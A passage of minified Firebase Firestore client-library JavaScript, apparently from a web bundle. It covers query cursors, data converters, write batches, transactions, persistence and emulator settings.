h_(t.firestore,t.converter,(n=(e=t._query).explicitOrderBy.concat([r]),new fp(e.path,e.collectionGroup,n,e.filters.slice(),e.limit,e.limitType,e.startAt,e.endAt)))},e}(dC),gC=function(t){function e(e,n,r){var i=this;return(i=t.call(this)||this).type=e,i.zc=n,i.Hc=r,i}return(0,Zo.ZT)(e,t),e.prototype._apply=function(t){return new h_(t.firestore,t.converter,Pp(t._query,this.zc,this.Hc))},e}(dC),mC=function(t){function e(e,n,r){var i=this;return(i=t.call(this)||this).type=e,i.Jc=n,i.Yc=r,i}return(0,Zo.ZT)(e,t),e.prototype._apply=function(t){var e,n,r=bC(t,this.type,this.Jc,this.Yc);return new h_(t.firestore,t.converter,(n=r,new fp((e=t._query).path,e.collectionGroup,e.explicitOrderBy.slice(),e.filters.slice(),e.limit,e.limitType,n,e.endAt)))},e}(dC),yC=function(t){function e(e,n,r){var i=this;return(i=t.call(this)||this).type=e,i.Jc=n,i.Yc=r,i}return(0,Zo.ZT)(e,t),e.prototype._apply=function(t){var e,n,r=bC(t,this.type,this.Jc,this.Yc);return new h_(t.firestore,t.converter,(n=r,new fp((e=t._query).path,e.collectionGroup,e.explicitOrderBy.slice(),e.filters.slice(),e.limit,e.limitType,e.startAt,n)))},e}(dC);function bC(t,e,n,r){if(n[0]=(0,Yo.m9)(n[0]),n[0]instanceof eC)return function(t,e,n,r,i){if(!r)throw new $d(Kd.NOT_FOUND,"Can't use a DocumentSnapshot that doesn't exist for "+n+"().");for(var o=[],s=0,a=wp(t);s<a.length;s++){var c=a[s];if(c.field.isKeyField())o.push(Fh(e,r.key));else{var l=r.data.field(c.field);if(Ph(l))throw new $d(Kd.INVALID_ARGUMENT,'Invalid query. You are trying to start or end a query using a document for which the field "'+c.field+'" is an uncommitted server timestamp. (Since the value of this field is unknown, you cannot start/end a query with it.)');if(null===l){var u=c.field.canonicalString();throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. You are trying to start or end a query using a document for which the field '"+u+"' (used as the orderBy) does not exist.")}o.push(l)}}return new cp(o,i)}(t._query,t.firestore._databaseId,e,n[0]._document,r);var i=R_(t.firestore);return function(t,e,n,r,i,o){var s=t.explicitOrderBy;if(i.length>s.length)throw new $d(Kd.INVALID_ARGUMENT,"Too many arguments provided to "+r+"(). The number of arguments must be less than or equal to the number of orderBy() clauses");for(var a=[],c=0;c<i.length;c++){var l=i[c];if(s[c].field.isKeyField()){if("string"!=typeof l)throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. Expected a string for document ID in "+r+"(), but got a "+typeof l);if(!Cp(t)&&-1!==l.indexOf("/"))throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. When querying a collection and ordering by FieldPath.documentId(), the value passed to "+r+"() must be a plain document ID, but '"+l+"' contains a slash.");var u=t.path.child(gh.fromString(l));if(!Ih.isDocumentKey(u))throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. When querying a collection group and ordering by FieldPath.documentId(), the value passed to "+r+"() must result in a valid document path, but '"+u+"' is not because it contains an odd number of segments.");var d=new Ih(u);a.push(Fh(e,d))}else{var h=q_(n,r,l);a.push(h)}}return new cp(a,o)}(t._query,t.firestore._databaseId,i,e,n,r)}function vC(t,e,n){if("string"==typeof(n=(0,Yo.m9)(n))){if(""===n)throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. When querying with FieldPath.documentId(), you must provide a valid document ID, but it was an empty string.");if(!Cp(e)&&-1!==n.indexOf("/"))throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. When querying a collection by FieldPath.documentId(), you must provide a plain document ID, but '"+n+"' contains a '/' character.");var r=e.path.child(gh.fromString(n));if(!Ih.isDocumentKey(r))throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. When querying a collection group by FieldPath.documentId(), the value provided must result in a valid document path, but '"+r+"' is not because it has an odd number of segments ("+r.length+").");return Fh(t,new Ih(r))}if(n instanceof d_)return Fh(t,n._key);throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. When querying with FieldPath.documentId(), you must provide a valid string or a DocumentReference, but it was: "+s_(n)+".")}function _C(t,e){if(!Array.isArray(t)||0===t.length)throw new $d(Kd.INVALID_ARGUMENT,"Invalid Query. A non-empty array is required for '"+e.toString()+"' filters.");if(t.length>10)throw new $d(Kd.INVALID_ARGUMENT,"Invalid Query. '"+e.toString()+"' filters support a maximum of 10 elements in the value array.")}function CC(t,e,n){if(!n.isEqual(e))throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. You have a where filter with an inequality (<, <=, !=, not-in, >, or >=) on field '"+e.toString()+"' and so you must also use '"+e.toString()+"' as your first argument to orderBy(), but your first orderBy() is on field '"+n.toString()+"' instead.")}var wC=function(){function t(){}return t.prototype.convertValue=function(t,e){switch(void 0===e&&(e="none"),kh(t)){case 0:return null;case 1:return t.booleanValue;case 2:return wh(t.integerValue||t.doubleValue);case 3:return this.convertTimestamp(t.timestampValue);case 4:return this.convertServerTimestamp(t,e);case 5:return t.stringValue;case 6:return this.convertBytes(xh(t.bytesValue));case 7:return this.convertReference(t.referenceValue);case 8:return this.convertGeoPoint(t.geoPointValue);case 9:return this.convertArray(t.arrayValue,e);case 10:return this.convertObject(t.mapValue,e);default:throw eh()}},t.prototype.convertObject=function(t,e){var n=this,r={};return hh(t.fields,function(t,i){r[t]=n.convertValue(i,e)}),r},t.prototype.convertGeoPoint=function(t){return new E_(wh(t.latitude),wh(t.longitude))},t.prototype.convertArray=function(t,e){var n=this;return(t.values||[]).map(function(t){return n.convertValue(t,e)})},t.prototype.convertServerTimestamp=function(t,e){switch(e){case"previous":var n=Sh(t);return null==n?null:this.convertValue(n,e);case"estimate":return this.convertTimestamp(Mh(t));default:return null}},t.prototype.convertTimestamp=function(t){var e=Ch(t);return new lh(e.seconds,e.nanos)},t.prototype.convertDocumentKey=function(t,e){var n=gh.fromString(t);nh(yg(n));var r=new Kv(n.get(1),n.get(3)),i=new Ih(n.popFirst(5));return r.isEqual(e)||Yd("Document "+i+" contains a document reference within a different database ("+r.projectId+"/"+r.database+") which is not supported. It will be treated as a reference in the current database ("+e.projectId+"/"+e.database+") instead."),i},t}();function xC(t,e,n){return t?n&&(n.merge||n.mergeFields)?t.toFirestore(e,n):t.toFirestore(e):e}var PC=function(t){function e(e){var n=this;return(n=t.call(this)||this).firestore=e,n}return(0,Zo.ZT)(e,t),e.prototype.convertBytes=function(t){return new M_(t)},e.prototype.convertReference=function(t){var e=this.convertDocumentKey(t,this.firestore._databaseId);return new d_(this.firestore,null,e)},e}(wC),SC=function(){function t(t,e){this._firestore=t,this._commitHandler=e,this._mutations=[],this._committed=!1,this._dataReader=R_(t)}return t.prototype.set=function(t,e,n){this._verifyNotCommitted();var r=MC(t,this._firestore),i=xC(r.converter,e,n),o=L_(this._dataReader,"WriteBatch.set",r._key,i,null!==r.converter,n);return this._mutations.push(o.toMutation(r._key,$p.none())),this},t.prototype.update=function(t,e,n){for(var r=[],i=3;i<arguments.length;i++)r[i-3]=arguments[i];this._verifyNotCommitted();var o,s=MC(t,this._firestore);return o="string"==typeof(e=(0,Yo.m9)(e))||e instanceof S_?U_(this._dataReader,"WriteBatch.update",s._key,e,n,r):G_(this._dataReader,"WriteBatch.update",s._key,e),this._mutations.push(o.toMutation(s._key,$p.exists(!0))),this},t.prototype.delete=function(t){this._verifyNotCommitted();var e=MC(t,this._firestore);return this._mutations=this._mutations.concat(new uf(e._key,$p.none())),this},t.prototype.commit=function(){return this._verifyNotCommitted(),this._committed=!0,this._mutations.length>0?this._commitHandler(this._mutations):Promise.resolve()},t.prototype._verifyNotCommitted=function(){if(this._committed)throw new $d(Kd.FAILED_PRECONDITION,"A write batch can no longer be used after commit() has been called.")},t}();function MC(t,e){if((t=(0,Yo.m9)(t)).firestore!==e)throw new $d(Kd.INVALID_ARGUMENT,"Provided document reference is from a different Firestore instance.");return t}var OC=function(t){function e(e){var n=this;return(n=t.call(this)||this).firestore=e,n}return(0,Zo.ZT)(e,t),e.prototype.convertBytes=function(t){return new M_(t)},e.prototype.convertReference=function(t){var e=this.convertDocumentKey(t,this.firestore._databaseId);return new d_(this.firestore,null,e)},e}(wC);function EC(t,e,n){for(var r=[],i=3;i<arguments.length;i++)r[i-3]=arguments[i];t=a_(t,d_);var o=a_(t.firestore,__),s=R_(o);return IC(o,[("string"==typeof(e=(0,Yo.m9)(e))||e instanceof S_?U_(s,"updateDoc",t._key,e,n,r):G_(s,"updateDoc",t._key,e)).toMutation(t._key,$p.exists(!0))])}function TC(t){for(var e,n,r,i=[],o=1;o<arguments.length;o++)i[o-1]=arguments[o];t=(0,Yo.m9)(t);var s={includeMetadataChanges:!1},a=0;"object"!=typeof i[a]||v_(i[a])||(s=i[a],a++);var c,l,u,d={includeMetadataChanges:s.includeMetadataChanges};if(v_(i[a])){var h=i[a];i[a]=null===(e=h.next)||void 0===e?void 0:e.bind(h),i[a+1]=null===(n=h.error)||void 0===n?void 0:n.bind(h),i[a+2]=null===(r=h.complete)||void 0===r?void 0:r.bind(h)}if(t instanceof d_)l=a_(t.firestore,__),u=mp(t._key.path),c={next:function(e){i[a]&&i[a](kC(l,t,e))},error:i[a+1],complete:i[a+2]};else{var p=a_(t,h_);l=a_(p.firestore,__),u=p._query;var f=new OC(l);c={next:function(t){i[a]&&i[a](new aC(l,f,p,t))},error:i[a+1],complete:i[a+2]},uC(t._query)}return function(t,e,n,r){var i=this,o=new kv(r),s=new Hb(e,o,n);return t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(i,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return e=Lb,[4,Gv(t)];case 1:return[2,e.apply(void 0,[n.sent(),s])]}})})}),function(){o.Wo(),t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(i,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return e=jb,[4,Gv(t)];case 1:return[2,e.apply(void 0,[n.sent(),s])]}})})})}}(C_(l),u,d,c)}function IC(t,e){return function(t,e){var n=this,r=new Hg;return t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(n,void 0,void 0,function(){var n;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return n=Jb,[4,zv(t)];case 1:return[2,n.apply(void 0,[i.sent(),e,r])]}})})}),r.promise}(C_(t),e)}function kC(t,e,n){var r=n.docs.get(e._key),i=new OC(t);return new oC(t,i,e._key,r,new iC(n.hasPendingWrites,n.fromCache),e.converter)}var AC=function(t){function e(e,n){var r=this;return(r=t.call(this,e,n)||this)._firestore=e,r}return(0,Zo.ZT)(e,t),e.prototype.get=function(e){var n=this,r=MC(e,this._firestore),i=new OC(this._firestore);return t.prototype.get.call(this,e).then(function(t){return new oC(n._firestore,i,r._key,t._document,new iC(!1,!1),r.converter)})},e}(function(){function t(t,e){this._firestore=t,this._transaction=e,this._dataReader=R_(t)}return t.prototype.get=function(t){var e=this,n=MC(t,this._firestore),r=new PC(this._firestore);return this._transaction.lookup([n._key]).then(function(t){if(!t||1!==t.length)return eh();var i=t[0];if(i.isFoundDocument())return new eC(e._firestore,r,i.key,i,n.converter);if(i.isNoDocument())return new eC(e._firestore,r,n._key,null,n.converter);throw eh()})},t.prototype.set=function(t,e,n){var r=MC(t,this._firestore),i=xC(r.converter,e,n),o=L_(this._dataReader,"Transaction.set",r._key,i,null!==r.converter,n);return this._transaction.set(r._key,o),this},t.prototype.update=function(t,e,n){for(var r=[],i=3;i<arguments.length;i++)r[i-3]=arguments[i];var o,s=MC(t,this._firestore);return o="string"==typeof(e=(0,Yo.m9)(e))||e instanceof S_?U_(this._dataReader,"Transaction.update",s._key,e,n,r):G_(this._dataReader,"Transaction.update",s._key,e),this._transaction.update(s._key,o),this},t.prototype.delete=function(t){var e=MC(t,this._firestore);return this._transaction.delete(e._key),this},t}());function DC(){if("undefined"==typeof Uint8Array)throw new $d(Kd.UNIMPLEMENTED,"Uint8Arrays are not available in this environment.")}function NC(){if("undefined"==typeof atob)throw new $d(Kd.UNIMPLEMENTED,"Blobs are unavailable in Firestore in this environment.")}var RC=function(){function t(t){this._delegate=t}return t.fromBase64String=function(e){return NC(),new t(M_.fromBase64String(e))},t.fromUint8Array=function(e){return DC(),new t(M_.fromUint8Array(e))},t.prototype.toBase64=function(){return NC(),this._delegate.toBase64()},t.prototype.toUint8Array=function(){return DC(),this._delegate.toUint8Array()},t.prototype.isEqual=function(t){return this._delegate.isEqual(t._delegate)},t.prototype.toString=function(){return"Blob(base64: "+this.toBase64()+")"},t}(),LC=function(){function t(){}return t.prototype.enableIndexedDbPersistence=function(t,e){return function(t,e){P_(t=a_(t,__));var n=C_(t),r=t._freezeSettings(),i=new Iv;return x_(n,i,new Ev(i,r.cacheSizeBytes,null==e?void 0:e.forceOwnership))}(t._delegate,{forceOwnership:e})},t.prototype.enableMultiTabIndexedDbPersistence=function(t){return function(t){P_(t=a_(t,__));var e=C_(t),n=t._freezeSettings(),r=new Iv;return x_(e,r,new Tv(r,n.cacheSizeBytes))}(t._delegate)},t.prototype.clearIndexedDbPersistence=function(t){return function(t){var e=this;if(t._initialized&&!t._terminated)throw new $d(Kd.FAILED_PRECONDITION,"Persistence can only be cleared before a Firestore instance is initialized or after it is terminated.");var n=new Hg;return t._queue.enqueueAndForgetEvenWhileRestricted(function(){return(0,Zo.mG)(e,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return r.trys.push([0,2,,3]),[4,function(t){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return Ug.yt()?[4,Ug.delete(t+"main")]:[2,Promise.resolve()];case 1:return e.sent(),[2]}})})}(ey(t._databaseId,t._persistenceKey))];case 1:return r.sent(),n.resolve(),[3,3];case 2:return e=r.sent(),n.reject(e),[3,3];case 3:return[2]}})})}),n.promise}(t._delegate)},t}(),jC=function(){function t(t,e,n){var r=this;this._delegate=e,this.Xc=n,this.INTERNAL={delete:function(){return r.terminate()}},t instanceof Kv||(this.Zc=t)}return Object.defineProperty(t.prototype,"_databaseId",{get:function(){return this._delegate._databaseId},enumerable:!1,configurable:!0}),t.prototype.settings=function(t){var e=this._delegate._getSettings();t.merge||e.host===t.host||Jd("You are overriding the original host. If you did not intend to override your settings, use {merge: true}."),t.merge&&delete(t=Object.assign(Object.assign({},e),t)).merge,this._delegate._setSettings(t)},t.prototype.useEmulator=function(t,e,n){void 0===n&&(n={}),function(t,e,n,r){void 0===r&&(r={});var i=(t=a_(t,u_))._getSettings();if("firestore.googleapis.com"!==i.host&&i.host!==e&&Jd("Host has been set in both settings() and useEmulator(), emulator host will be used"),t._setSettings(Object.assign(Object.assign({},i),{host:e+":"+n,ssl:!1})),r.mockUserToken){var o=(0,Yo.Sg)(r.mockUserToken),s=r.mockUserToken.sub||r.mockUserToken.user_id;if(!s)throw new $d(Kd.INVALID_ARGUMENT,"mockUserToken must contain 'sub' or 'user_id' field!");t._credentials=new Zv(new Qv(o,new Ay(s)))}}(this._delegate,t,e,n)},t.prototype.enableNetwork=function(){return function(t){var e=this;return t.asyncQueue.enqueue(function(){return(0,Zo.mG)(e,void 0,void 0,function(){var e,n;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return[4,Vv(t)];case 1:return e=r.sent(),[4,Hv(t)];case 2:return n=r.sent(),[2,(e.setNetworkEnabled(!0),i=n,o=rh(i),o.Or.delete(0),ib(o))]}var i,o})})})}(C_(a_(this._delegate,__)))},t.prototype.disableNetwork=function(){return function(t){var e=this;return t.asyncQueue.enqueue(function(){return(0,Zo.mG)(e,void 0,void 0,function(){var e,n;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return[4,Vv(t)];case 1:return e=r.sent(),[4,Hv(t)];case 2:return n=r.sent(),[2,(e.setNetworkEnabled(!1),function(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return(e=rh(t)).Or.add(0),[4,ob(e)];case 1:return n.sent(),e.Br.set("Offline"),[2]}})})}(n))]}})})})}(C_(a_(this._delegate,__)))},t.prototype.enablePersistence=function(t){var e=!1,n=!1;return t&&r_("synchronizeTabs",e=!!t.synchronizeTabs,"experimentalForceOwningTab",n=!!t.experimentalForceOwningTab),e?this.Xc.enableMultiTabIndexedDbPersistence(this):this.Xc.enableIndexedDbPersistence(this,n)},t.prototype.clearPersistence=function(){return this.Xc.clearIndexedDbPersistence(this)},t.prototype.terminate=function(){return this.Zc&&(this.Zc._removeServiceInstance("firestore"),this.Zc._removeServiceInstance("firestore-exp")),this._delegate._delete()},t.prototype.waitForPendingWrites=function(){return function(t){var e=this,n=new Hg;return t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(e,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return e=ov,[4,zv(t)];case 1:return[2,e.apply(void 0,[r.sent(),n])]}})})}),n.promise}(C_(a_(this._delegate,__)))},t.prototype.onSnapshotsInSync=function(t){return e=t,function(t,e){var n=this,r=new kv(e);return t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(n,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return e=function(t,e){rh(t).Gr.add(e),e.next()},[4,Gv(t)];case 1:return[2,e.apply(void 0,[n.sent(),r])]}})})}),function(){r.Wo(),t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(n,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return e=function(t,e){rh(t).Gr.delete(e)},[4,Gv(t)];case 1:return[2,e.apply(void 0,[n.sent(),r])]}})})})}}(C_(a_(this._delegate,__)),v_(e)?e:{next:e});var e},Object.defineProperty(t.prototype,"app",{get:function(){if(!this.Zc)throw new $d(Kd.FAILED_PRECONDITION,"Firestore was not initialized using the Firebase SDK. 'app' is not available");return this.Zc},enumerable:!1,configurable:!0}),t.prototype.collection=function(t){try{return new ZC(this,f_(this._delegate,t))}catch(e){throw GC(e,"collection()","Firestore.collection()")}},t.prototype.doc=function(t){try{return new zC(this,g_(this._delegate,t))}catch(e){throw GC(e,"doc()","Firestore.doc()")}},t.prototype.collectionGroup=function(t){try{return new $C(this,function(t,e){if(t=a_(t,u_),e_("collectionGroup","collection id",e),e.indexOf("/")>=0)throw new $d(Kd.INVALID_ARGUMENT,"Invalid collection ID '"+e+"' passed to function collectionGroup(). Collection IDs must not contain '/'.");return new h_(t,null,(n=e,new fp(gh.emptyPath(),n)));var n}(this._delegate,t))}catch(e){throw GC(e,"collectionGroup()","Firestore.collectionGroup()")}},t.prototype.runTransaction=function(t){var e,n=this;return function(t,e){var n=this,r=new Hg;return t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(n,void 0,void 0,function(){var n;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return[4,(o=t,Fv(o).then(function(t){return t.datastore}))];case 1:return n=i.sent(),new Dv(t.asyncQueue,n,e,r).run(),[2]}var o})})}),r.promise}(C_(e=this._delegate),function(r){return function(e){return t(new VC(n,e))}(new AC(e,r))})},t.prototype.batch=function(){var t=this;return C_(this._delegate),new BC(new SC(this._delegate,function(e){return IC(t._delegate,e)}))},t.prototype.loadBundle=function(t){throw new $d(Kd.FAILED_PRECONDITION,'"loadBundle()" does not exist, have you imported "firebase/firestore/bundle"?')},t.prototype.namedQuery=function(t){throw new $d(Kd.FAILED_PRECONDITION,'"namedQuery()" does not exist, have you imported "firebase/firestore/bundle"?')},t}(),FC=function(t){function e(e){var n=this;return(n=t.call(this)||this).firestore=e,n}return(0,Zo.ZT)(e,t),e.prototype.convertBytes=function(t){return new RC(new M_(t))},e.prototype.convertReference=function(t){var e=this.convertDocumentKey(t,this.firestore._databaseId);return zC.tu(e,this.firestore,null)},e}(wC),VC=function(){function t(t,e){this._firestore=t,this._delegate=e,this._userDataWriter=new FC(t)}return t.prototype.get=function(t){var e=this,n=YC(t);return this._delegate.get(n).then(function(t){return new WC(e._firestore,new oC(e._firestore._delegate,e._userDataWriter,t._key,t._document,t.metadata,n.converter))})},t.prototype.set=function(t,e,n){var r=YC(t);return n?(n_("Transaction.set",n),this._delegate.set(r,e,n)):this._delegate.set(r,e),this},t.prototype.update=function(t,e,n){for(var r,i=[],o=3;o<arguments.length;o++)i[o-3]=arguments[o];var s=YC(t);return 2===arguments.length?this._delegate.update(s,e):(r=this._delegate).update.apply(r,(0,Zo.ev)([s,e,n],i)),this},t.prototype.delete=function(t){var e=YC(t);return this._delegate.delete(e),this},t}(),BC=function(){function t(t){this._delegate=t}return t.prototype.set=function(t,e,n){var r=YC(t);return n?(n_("WriteBatch.set",n),this._delegate.set(r,e,n)):this._delegate.set(r,e),this},t.prototype.update=function(t,e,n){for(var r,i=[],o=3;o<arguments.length;o++)i[o-3]=arguments[o];var s=YC(t);return 2===arguments.length?this._delegate.update(s,e):(r=this._delegate).update.apply(r,(0,Zo.ev)([s,e,n],i)),this},t.prototype.delete=function(t){var e=YC(t);return this._delegate.delete(e),this},t.prototype.commit=function(){return this._delegate.commit()},t}(),HC=function(){function t(t,e,n){this._firestore=t,this._userDataWriter=e,this._delegate=n}return t.prototype.fromFirestore=function(t,e){var n=new sC(this._firestore._delegate,this._userDataWriter,t._key,t._document,t.metadata,null);return this._delegate.fromFirestore(new KC(this._firestore,n),null!=e?e:{})},t.prototype.toFirestore=function(t,e){return e?this._delegate.toFirestore(t,e):this._delegate.toFirestore(t)},t.eu=function(e,n){var r=t.nu,i=r.get(e);i||(i=new WeakMap,r.set(e,i));var o=i.get(n);return o||(o=new t(e,new FC(e),n),i.set(n,o)),o},t}();HC.nu=new WeakMap;var zC=function(){function t(t,e){this.firestore=t,this._delegate=e,this._userDataWriter=new FC(t)}return t.su=function(e,n,r){if(e.length%2!=0)throw new $d(Kd.INVALID_ARGUMENT,"Invalid document reference. Document references must have an even number of segments, but "+e.canonicalString()+" has "+e.length);return new t(n,new d_(n._delegate,r,new Ih(e)))},t.tu=function(e,n,r){return new t(n,new d_(n._delegate,r,e))},Object.defineProperty(t.prototype,"id",{get:function(){return this._delegate.id},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"parent",{get:function(){return new ZC(this.firestore,this._delegate.parent)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"path",{get:function(){return this._delegate.path},enumerable:!1,configurable:!0}),t.prototype.collection=function(t){try{return new ZC(this.firestore,f_(this._delegate,t))}catch(e){throw GC(e,"collection()","DocumentReference.collection()")}},t.prototype.isEqual=function(t){return(t=(0,Yo.m9)(t))instanceof d_&&m_(this._delegate,t)},t.prototype.set=function(t,e){e=n_("DocumentReference.set",e);try{return function(t,e,n){t=a_(t,d_);var r=a_(t.firestore,__),i=xC(t.converter,e,n);return IC(r,[L_(R_(r),"setDoc",t._key,i,null!==t.converter,n).toMutation(t._key,$p.none())])}(this._delegate,t,e)}catch(n){throw GC(n,"setDoc()","DocumentReference.set()")}},t.prototype.update=function(t,e){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];try{return 1===arguments.length?EC(this._delegate,t):EC.apply(void 0,(0,Zo.ev)([this._delegate,t,e],n))}catch(i){throw GC(i,"updateDoc()","DocumentReference.update()")}},t.prototype.delete=function(){return IC(a_((t=this._delegate).firestore,__),[new uf(t._key,$p.none())]);var t},t.prototype.onSnapshot=function(){for(var t=this,e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var r=UC(e),i=qC(e,function(e){return new WC(t.firestore,new oC(t.firestore._delegate,t._userDataWriter,e._key,e._document,e.metadata,t._delegate.converter))});return TC(this._delegate,r,i)},t.prototype.get=function(t){var e=this;return("cache"===(null==t?void 0:t.source)?function(t){t=a_(t,d_);var e=a_(t.firestore,__),n=C_(e),r=new OC(e);return function(t,e){var n=this,r=new Hg;return t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(n,void 0,void 0,function(){var n;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return n=function(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return o.trys.push([0,2,,3]),[4,(s=t,a=e,c=rh(s),c.persistence.runTransaction("read document","readonly",function(t){return c.Mn.mn(t,a)}))];case 1:return(i=o.sent()).isFoundDocument()?n.resolve(i):i.isNoDocument()?n.resolve(null):n.reject(new $d(Kd.UNAVAILABLE,"Failed to get document from cache. (However, this document may exist on the server. Run again without setting 'source' in the GetOptions to attempt to retrieve the document from the server.)")),[3,3];case 2:return r=o.sent(),i=Ib(r,"Failed to get document '"+e+" from cache"),n.reject(i),[3,3];case 3:return[2]}var s,a,c})})},[4,Bv(t)];case 1:return[2,n.apply(void 0,[i.sent(),e,r])]}})})}),r.promise}(n,t._key).then(function(n){return new oC(e,r,t._key,n,new iC(null!==n&&n.hasLocalMutations,!0),t.converter)})}(this._delegate):"server"===(null==t?void 0:t.source)?function(t){t=a_(t,d_);var e=a_(t.firestore,__);return Uv(C_(e),t._key,{source:"server"}).then(function(n){return kC(e,t,n)})}(this._delegate):function(t){t=a_(t,d_);var e=a_(t.firestore,__);return Uv(C_(e),t._key).then(function(n){return kC(e,t,n)})}(this._delegate)).then(function(t){return new WC(e.firestore,new oC(e.firestore._delegate,e._userDataWriter,t._key,t._document,t.metadata,e._delegate.converter))})},t.prototype.withConverter=function(e){return new t(this.firestore,this._delegate.withConverter(e?HC.eu(this.firestore,e):null))},t}();function GC(t,e,n){return t.message=t.message.replace(e,n),t}function UC(t){for(var e=0,n=t;e<n.length;e++){var r=n[e];if("object"==typeof r&&!v_(r))return r}return{}}function qC(t,e){var n,r,i;return{next:function(t){i.next&&i.next(e(t))},error:null===(n=(i=v_(t[0])?t[0]:v_(t[1])?t[1]:"function"==typeof t[0]?{next:t[0],error:t[1],complete:t[2]}:{next:t[1],error:t[2],complete:t[3]}).error)||void 0===n?void 0:n.bind(i),complete:null===(r=i.complete)||void 0===r?void 0:r.bind(i)}}var WC=function(){function t(t,e){this._firestore=t,this._delegate=e}return Object.defineProperty(t.prototype,"ref",{get:function(){return new zC(this._firestore,this._delegate.ref)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"id",{get:function(){return this._delegate.id},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"metadata",{get:function(){return this._delegate.metadata},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"exists",{get:function(){return this._delegate.exists()},enumerable:!1,configurable:!0}),t.prototype.data=function(t){return this._delegate.data(t)},t.prototype.get=function(t,e){return this._delegate.get(t,e)},t.prototype.isEqual=function(t){return lC(this._delegate,t._delegate)},t}(),KC=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return(0,Zo.ZT)(e,t),e.prototype.data=function(t){return this._delegate.data(t)},e}(WC),$C=function(){function t(t,e){this.firestore=t,this._delegate=e,this._userDataWriter=new FC(t)}return t.prototype.where=function(e,n,r){try{return new t(this.firestore,hC(this._delegate,(o=r,s=n,a=rC("where",i=e),new pC(a,s,o))))}catch(i){throw GC(i,/(orderBy|where)\(\)/,"Query.$1()")}var i,o,s,a},t.prototype.orderBy=function(e,n){try{return new t(this.firestore,hC(this._delegate,function(t,e){void 0===e&&(e="asc");var n=e,r=rC("orderBy",t);return new fC(r,n)}(e,n)))}catch(r){throw GC(r,/(orderBy|where)\(\)/,"Query.$1()")}},t.prototype.limit=function(e){try{return new t(this.firestore,hC(this._delegate,(c_("limit",n=e),new gC("limit",n,"F"))))}catch(n){throw GC(n,"limit()","Query.limit()")}var n},t.prototype.limitToLast=function(e){try{return new t(this.firestore,hC(this._delegate,(c_("limitToLast",n=e),new gC("limitToLast",n,"L"))))}catch(n){throw GC(n,"limitToLast()","Query.limitToLast()")}var n},t.prototype.startAt=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];try{return new t(this.firestore,hC(this._delegate,(function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new mC("startAt",t,!0)}).apply(void 0,e)))}catch(r){throw GC(r,"startAt()","Query.startAt()")}},t.prototype.startAfter=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];try{return new t(this.firestore,hC(this._delegate,(function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new mC("startAfter",t,!1)}).apply(void 0,e)))}catch(r){throw GC(r,"startAfter()","Query.startAfter()")}},t.prototype.endBefore=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];try{return new t(this.firestore,hC(this._delegate,(function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new yC("endBefore",t,!0)}).apply(void 0,e)))}catch(r){throw GC(r,"endBefore()","Query.endBefore()")}},t.prototype.endAt=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];try{return new t(this.firestore,hC(this._delegate,(function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new yC("endAt",t,!1)}).apply(void 0,e)))}catch(r){throw GC(r,"endAt()","Query.endAt()")}},t.prototype.isEqual=function(t){return y_(this._delegate,t._delegate)},t.prototype.get=function(t){var e=this;return("cache"===(null==t?void 0:t.source)?function(t){t=a_(t,h_);var e=a_(t.firestore,__),n=C_(e),r=new OC(e);return function(t,e){var n=this,r=new Hg;return t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(n,void 0,void 0,function(){var n;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return n=function(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i,o,s,a;return(0,Zo.Jh)(this,function(c){switch(c.label){case 0:return c.trys.push([0,2,,3]),[4,my(t,e,!0)];case 1:return 